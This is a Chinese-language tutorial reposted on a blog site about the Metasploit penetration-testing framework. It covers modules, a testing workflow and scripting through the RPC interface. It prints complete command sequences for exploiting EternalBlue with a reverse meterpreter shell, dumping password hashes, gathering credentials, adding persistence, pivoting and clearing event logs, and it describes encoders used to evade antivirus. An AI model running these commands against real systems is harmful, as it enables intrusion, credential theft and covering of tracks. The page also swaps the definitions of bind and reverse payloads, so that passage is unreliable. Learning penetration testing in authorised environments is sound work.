一、Metasploit 概述

Metasploit是一款开源的渗透测试框架,由 H.D. Moore 于 2003 年首次发布,目前由 rapid7 公司维护。它整合了大量漏洞利用模块、后渗透工具和漏洞扫描功能,已成为网络安全工程师、红队 / 蓝队成员及安全研究人员的核心工具之一。

 下载最新版安装包: metasploitframework-latest.msi  

Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

永久添加脚本执行目录到当前用户的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"

Metasploit -- 目录详解及常用命令

Metasploit基础和基本命令详解

Metasploit Framework(MSF)命令汇总

二、核心功能与组件

  1. 漏洞利用模块(Exploits)

    • 包含数千个针对不同系统、应用的漏洞攻击代码(如 Windows、Linux、Web 服务等),支持自动匹配目标环境。
    • 示例:exploit/windows/smb/ms17_010_eternalblue(针对永恒之蓝漏洞)。
  2. Payload(攻击载荷)

    • 漏洞成功利用后执行的代码,可分为:
      • 正向 Payload:目标主动连接攻击者(如windows/meterpreter/reverse_tcp)。
      • 反向 Payload:攻击者主动连接目标(更绕过防火墙,如windows/meterpreter/bind_tcp)。
  3. 辅助模块(Auxiliary)

    • 非漏洞利用功能,包括:
      • 扫描器(如auxiliary/scanner/portscan/tcp)、嗅探器、Fuzz 测试工具等。
  4. 后渗透模块(Post)

    • 获得目标权限后执行的操作,如数据窃取、权限维持、网络信息收集(post/windows/gather/enum_logged_on_users)。
  5. 编码器(Encoders)

    • 对 Payload 进行加密或变形,绕过杀毒软件检测(如x86/shikata_ga_nai)。

打开Metasploit: msfconsole

Metasploit功能列表:

1. Exploit Modules:用于攻击和利用目标系统的漏洞。

2. Payloads:攻击成功后在目标系统上执行的代码,如反向 Shell。

3. Auxiliary Modules:辅助功能,如扫描和嗅探。

4. Encoders:用于编码 Payloads 以规避检测。

5. Post Modules:在目标系统上进一步操作的模块,如提权、信息收集等。

6. Nop Generators:用于生成 NOP(No Operation)指令,帮助躲避 IDS/IPS。  

三、工作流程与典型场景

1. 基本渗透测试流程

目标信息收集 → 漏洞扫描 → 选择Exploit与Payload → 配置参数 → 执行攻击 → 后渗透操作

2. 实战示例:获取 Windows 主机权限

# 1. 启动Metasploit msfconsole

# 2. 搜索永恒之蓝漏洞模块 search ms17-010

# 3. 加载漏洞利用模块 use exploit/windows/smb/ms17_010_eternalblue

# 4. 配置目标IP set RHOSTS 192.168.1.100

# 5. 配置Payload(反向连接)

                  set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 攻击者    set LHOST 192.168.1.101

# 监听端口 IP set LPORT 4444

# 6. 执行攻击 exploit

3. 后渗透常用命令

  • sysinfo:查看系统信息
  • hashdump:获取密码哈希
  • upload/download:文件传输
  • persistence:创建持久化后门

四、优势与局限性

优势

1. 模块化设计,支持自定义扩展;
2. 覆盖主流平台与漏洞,更新频繁;
3. 图形化界面(Metasploit Pro)降低使用门槛。

局限性

1. 依赖已知漏洞,对 0day 攻击支持有限;
2. 流量特征易被检测,需配合免杀技术;
3. 新手需学习编程(如 Ruby)才能开发自定义模块。

五、安全合规与学习资源

  1. 合规提示

    • 仅可在授权环境(如企业内部测试、CTF 竞赛)中使用,未经允许攻击公共网络属于违法行为。
  2. 学习资源

    • 官方文档:Metasploit Documentation
    • 实战书籍:《Metasploit 渗透测试指南》《Web 渗透测试实战》
    • 在线平台:TryHackMe、Hack The Box(模拟靶场)

六、延伸:Metasploit 的演进与分支

  • Metasploit Pro:商业化版本,集成漏洞管理、报告生成等企业级功能。
  • Cobalt Strike:后渗透工具,常与 Metasploit 配合使用,具备更隐蔽的 C2 通信能力。
  • Armitage:Metasploit 的图形化前端,支持鼠标拖拽式渗透测试。

通过掌握 Metasploit,安全人员可系统性地验证网络防御体系的薄弱环节,而攻击者也可能利用其自动化能力实施攻击。因此,企业需结合 IDS/IPS、EDR 等工具监控异常流量,并及时修补系统漏洞。

七、标准的渗透测试流程示例

1、信息收集(Reconnaissance)

信息收集(Reconnaissance)和 扫描和枚举(Scanning and Enumeration) 获取目标的信息,如 IP 地址、域名等。扫描目标网络,发现开放端口和服务,枚举详细信息。

2、服务扫描

# 调用Nmap并将扫描结果导入Metasploit数据库中
db_nmap -sV -O 192.168.1.0/24

# 扫描网络中的所有活动主机
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run

# 扫描特定主机上的开放端口,识别运行的服务
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run

# 枚举 SMB 服务的版本,了解系统运行的具体服务信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

# 识别 FTP 服务版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run

# 识别 HTTP 服务版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run  

查看已发现的主机和服务

hosts
services  

3、漏洞评估(Vulnerability Assessment)或漏洞扫描

识别目标系统中的已知漏洞。
可使用自动化工具:Nessus OpenVAS全面扫描漏洞。

1. 扫描漏洞

# 扫描目标系统的多种漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run

# 扫描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run

# Metasploit Pro 版提供更强大的自动化漏洞扫描功能,可以自动化许多步骤,并生成详细报告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run  

2. 导入其他工具扫描结果

# 导入 Nessus 扫描结果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>

# 导入 OpenVAS 扫描结果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id>  

3、利用漏洞(Exploitation)

利用发现的漏洞获取对目标系统的访问权限

# 利用目标 SMB 服务的已知漏洞,设置目标主机和本地主机的相关参数并执行攻击
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets  # 查看所选模块支持的模板平台和配置
show options  # 查看所选模块的可配置选项
set RHOSTS 192.168.1.100  # 设置目标主机地址
check  # 验证漏洞

show payloads  # 查看可用的有效载荷
set payload windows/x64/meterpreter/reverse_tcp  # 选择并配置适当的有效载荷,如反向 shell
set LHOST 192.168.1.50
exploit  # 确认目标存在漏洞后,执行攻击  

4、后渗透操作(Post-Exploitation)

在获得访问权限后进行进一步操作,如提权、信息收集等。

shell   # 在成功获得 Meterpreter 会话后
meterpreter > sysinfo  # 查看系统信息
meterpreter > getuid  # 获取当前用户 ID
meterpreter > shell  # 进入目标系统的命令提示符  

5、清理和报告(Cleanup and Reporting)

清理所有操作痕迹,并生成详细的渗透测试报告。

# 清除目标系统的事件日志,避免被检测到,生成渗透测试报告
meterpreter > clearev  

4、Metasploit其他功能

社会工程学工具

Social Engineering Toolkit (SET):可以创建各种社会工程攻击,如钓鱼攻击、恶意 USB 制作等。

# 使用 SET 进行钓鱼攻击
use auxiliary/set/social_engineering/phishing  

Web 应用测试

Auxiliary Modules:许多辅助模块用于扫描和测试 Web 应用程序漏洞。

凭证收集

1. Meterpreter Scripts:在目标系统上运行脚本以收集密码和其他凭证。

2. Post Exploitation Modules:用于提取存储的密码和会话令牌。  

# 使用 Meterpreter 脚本提取凭证
run post/windows/gather/credentials/windows_autologin  

网络隧道

1. Pivoting:通过已攻陷的系统建立网络隧道,以访问内网中的其他系统。

2. Portfwd:转发端口以绕过防火墙和访问受限资源。  

 # 进行 Pivoting
route add 10.0.0.0 255.255.255.0 1  

自定义模块开发

编写自定义模块:使用 Ruby 编写自定义漏洞利用和辅助模块,满足特定需求。
Metasploit 本身主要是基于 Ruby 编写的,但它提供RPC接口,可以通过msgrpc服务集成Python脚本。

pyexec插件示例

shell   load pyexec
pyexec 'print("Hello from Python")'  

通过 RPC 接口与 Metasploit 交互 

# 启动 Metasploit RPC 服务
vim rpc_service.rc
  load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
    from metasploit.msfrpc import MsfRpcClient
    client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
    console = client.consoles.console()
    console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    console.write('set RHOSTS 192.168.1.100\n')
    console.write('run\n')  

任务自动化

1. Resource Scripts:使用 .rc 文件自动化执行一系列 Metasploit 命令。

2. Mettle Payloads:一种新的、更灵活的有效载荷框架,可以执行复杂的任务。  

shell   # 自动化任务
resource myscript.rc  

数据导出和报告

报告生成:生成渗透测试报告,包含详细的测试步骤和结果。

数据导出:将扫描结果和会话数据导出为各种格式。

模块化设计

1. Pluggable Payloads:用户可以自定义和插入自己的有效载荷。

2. Custom Modules:允许用户创建和加载自定义漏洞利用和辅助模块。  

混淆与逃避

1. Encoders:对有效载荷进行编码以绕过防病毒软件和入侵检测系统(IDS)。

2. Anti-Forensics:提供工具来混淆日志和删除痕迹。  

实时协作

Team Collaboration:Metasploit Pro 支持团队协作,多个用户可以同时对同一目标进行测试。

模拟攻击

Attack Simulations:可以模拟真实的攻击场景,以测试和验证防御措施。

插件支持

Community Plugins:支持用户开发和共享插件,扩展 Metasploit 的功能。

高级报告

Detailed Reporting:生成详细的渗透测试报告,包括发现的漏洞、利用情况和修复建议。

数据库导入

Metasploit 支持从多种第三方漏洞扫描工具导入数据:

Metasploit 第三方软件支持列表  

支持的数据格式和工具:

• Foundstone Network Inventory XML

• Microsoft MBSA SecScan XML

• nCircle IP360 XMLv3 and ASPL

• NetSparker XML

• Nessus NBE

• Nessus XML v1 and v2

• Qualys Asset XML

• Qualys Scan XML

• Burp Sessions XML

• Burp Issues XML

• Acunetix XML

• AppScan XML

• Nmap XML

• Retina XML

• Amap Log

• Critical Watch VM XML

• IP Address List

• Libpcap Network Capture

• Spiceworks Inventory Summary CSV

• Core Impact XML  Nessus/OpenVAS

导入:可以将 Nessus 或 OpenVAS 的漏洞扫描结果导入 Metasploit 进行进一步分析。  

# 导入 Nessus 扫描结果
load nessus
nessus_import_report <report_id>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/86064.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/86064.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/86064.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库AICD特性之--一致性 Consistency

数据库AICD特性之–原子性 Atomicity 数据库AICD特性之–隔离性 Isolation 数据库 ACID 特性之 – 持久性 Durability 数据库AICD特性之–一致性 Consistency 一致性指数据库在事务执行前后&#xff0c;数据始终符合预设的完整性约束和业务规则。事务执行前数据是合法的&…

OpenCV在图像上绘制文字示例

OpenCV计算机视觉开发实践&#xff1a;基于Qt C - 商品搜索 - 京东 OpenCV中除了提供绘制各种图形的函数外&#xff0c;还提供了一个特殊的绘制函数&#xff0c;用于在图像上绘制文字。这个函数是putText()&#xff0c;它是命名空间cv中的函数&#xff0c;其声明如下&#xff…

synchronized的技巧与要点

一、基本概念 目的&#xff1a;解决多线程并发访问共享资源时的数据竞争问题&#xff0c;保证原子性、可见性和有序性&#xff08;JMM内存模型&#xff09;。性质&#xff1a;可重入锁&#xff08;同一线程可重复获取同一把锁&#xff09;、独占锁&#xff08;互斥锁&#xff…

特殊混淆案例还原指南:突破变形控制流与量子加密的技术解析

引言​​ 在JavaScript混淆领域,传统的字符串加密和控制流平坦化已无法满足高端防护需求。2023年Snyk安全报告指出,Top级商业产品已转向​​多态变形控制流​​和​​量子加密技术​​,这类混淆方案占比17%,但导致的反向工程失败率高达94%。本文将通过三个工业级混淆案例(…

基于Python、tkinter、sqlite3 和matplotlib的校园书店管理系统

写一个小例子练习一下python语言。一个基于Python的校园书店管理系统&#xff0c;使用了tkinter库构建图形用户界面&#xff08;GUI&#xff09;&#xff0c;sqlite3 进行数据库管理&#xff0c;matplotlib用于统计分析可视化。系统支持用户登录、书籍管理、客户管理、员工管理…

机器学习×第十四卷:集成学习中篇——她从每次错误中修正自己

&#x1f380;【开场 她终于愿意回看自己贴错的地方了】 &#x1f98a;狐狐&#xff1a;“她贴过你很多次&#xff0c;但每次贴歪了&#xff0c;都只是低头沉默。” &#x1f43e;猫猫&#xff1a;“现在不一样了喵……她开始反思&#xff0c;是不是哪一刻该绕过来贴你背后&…

LeetCode 2537.统计好子数组的数目

给你一个整数数组 nums 和一个整数 k &#xff0c;请你返回 nums 中 好 子数组的数目。 一个子数组 arr 如果有 至少 k 对下标 (i, j) 满足 i < j 且 arr[i] arr[j] &#xff0c;那么称它是一个 好 子数组。 子数组 是原数组中一段连续 非空 的元素序列。 示例 1&#x…

Python 开发环境管理和常用命令

包管理器选择 从轻到重: venv → virtualenv → conda venv: Python 3.3 内置&#xff0c;轻量级虚拟环境virtualenv: 第三方包&#xff0c;支持更多Python版本conda: 科学计算友好&#xff0c;包含包管理和环境管理 Python 版本支持 查看各版本支持状态&#xff1a;Status…

macOS - 根据序列号查看机型、保障信息

文章目录 最近在看 MacBook 二手机&#xff0c;有个咸鱼卖家放个截图 说不清参数&#xff0c;于是想根据 序列号 查看机型。苹果提供了这样的网页&#xff1a; https://checkcoverage.apple.com/ &#xff08;无需登录&#xff09; 结果 2025-06-20&#xff08;五&#xff09;…

数字化项目调研过程中需要的文章

Hello&#xff0c;大家好 &#xff0c;我是东哥说-MES 最近写了不少的文章&#xff0c;为了方便阅读&#xff0c;特意重新整理了数字化相关的文章链接&#xff0c;也便于大家阅读 数字工厂项目启动与业务需求调研执行指南-CSDN博客文章浏览阅读725次&#xff0c;点赞28次&…

LangChain4j之会话功能AiServices工具类的使用(系列二)

概述 LangChain4j 的会话功能 AiServices 工具类&#xff0c;可助力轻松实现智能对话。它能记录对话上下文&#xff0c;让 AI 回答连贯且贴合情境。使用起来&#xff0c;先引入类&#xff0c;配置好相关参数&#xff0c;如模型地址、密钥等。接着&#xff0c;调用相应方法传入…

Qt 中使用 gtest 做单元测试

作者&#xff1a;billy 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 gtest 简介 GoogleTest&#xff08;也称为gtest&#xff09;是由 Google 开发的一个 C 单元测试框架&#xff0c;用于编写、组织和运行…

WPF TreeView 数据绑定完全指南:MVVM 模式实现

WPF TreeView 数据绑定完全指南&#xff1a;MVVM 模式实现 一、TreeView 绑定的核心概念1.1 MVVM 模式下的 TreeView 绑定原理1.2 绑定关系示意图 二、完整实现步骤2.1 创建节点模型类2.2 创建 ViewModel2.3 XAML 绑定配置2.4 设置 Window 的 DataContext 三、关键特性详解3.1 …

坤驰科技QTS4200战鹰(Battle Eagle)系列实时频谱分析记录回放系统

QTS4200战鹰(Battle Eagle)系列 实时频谱分析记录回放系统 精准采集&#xff5c;高效回放&#xff5c;拓展频谱分析新边界 坤驰科技倾力打造新一代集实时频谱分析、高速信号记录与精准信号回放于一体的便携式系统&#xff0c;为无线电监测、无线通信、国防等领域提供全面而高…

Flask(二) 路由routes

文章目录 基本路由定义路由参数路由规则设置请求方法&#xff08;GET/POST&#xff09;路由函数返回静态文件和模板Blueprint&#xff08;模块化路由&#xff09;显示当前所有路由 Flask 路由是 Web 应用程序中将 URL 映射到 Python 函数的机制。 定义路由&#xff1a;使用 app…

在el-image组件的预览中添加打印功能(自定义功能)

思路&#xff1a;给图片添加点击事件&#xff0c;通过js获取预览的工具栏&#xff0c;在工具栏中添加自定义按钮及事件 1、html 中 image标签 <el-image style"width: 139px; height: 89px" :src"fileUrl" :preview-src-list"[fileUrl]" cli…

TongWeb替换tomcat

1、背景 国家近年来大力推进信息技术应用创新产业&#xff08;信创&#xff09;&#xff0c;要求关键领域采用自主可控的国产软硬件。Tomcat作为国外开源产品&#xff0c;存在潜在的安全风险和技术依赖。TongWeb作为国产中间件&#xff0c;符合信创目录要求&#xff0c;满足政府…

联合语音和文本机器翻译,支持多达100种语言(nature子刊论文研读)

简介&#xff1a; &#x1f30d; SEAMLESSM4T 是一种单一模型&#xff0c;实现了跨越多达 101 种源语言和多种目标语言的语音到语音、语音到文本、文本到语音和文本到文本翻译及自动语音识别。&#x1f680; 该模型性能显著超越现有级联系统&#xff0c;特别是在语音到文本和语…

网站公安网安备案查询API集成指南

网站公安网安备案查询API集成指南 引言 随着互联网应用的日益普及&#xff0c;网络安全和个人隐私保护越来越受到重视。公安网安备案作为保障网络安全的重要措施之一&#xff0c;对于确保网站合法合规运营具有重要意义。为了帮助开发者更加便捷地获取网站的公安网安备案信息&a…

如何用远程调试工具排查 WebView 与原生通信问题(iOS或Android)

WebView 在移动端开发中的角色越来越关键&#xff0c;尤其在混合架构&#xff08;Hybrid&#xff09;项目中&#xff0c;它作为前端与原生的桥梁&#xff0c;承载了大量交互行为。但这个桥梁并不总是稳固&#xff0c;尤其是在涉及 JSBridge 通信 时&#xff0c;前端调用原生接口…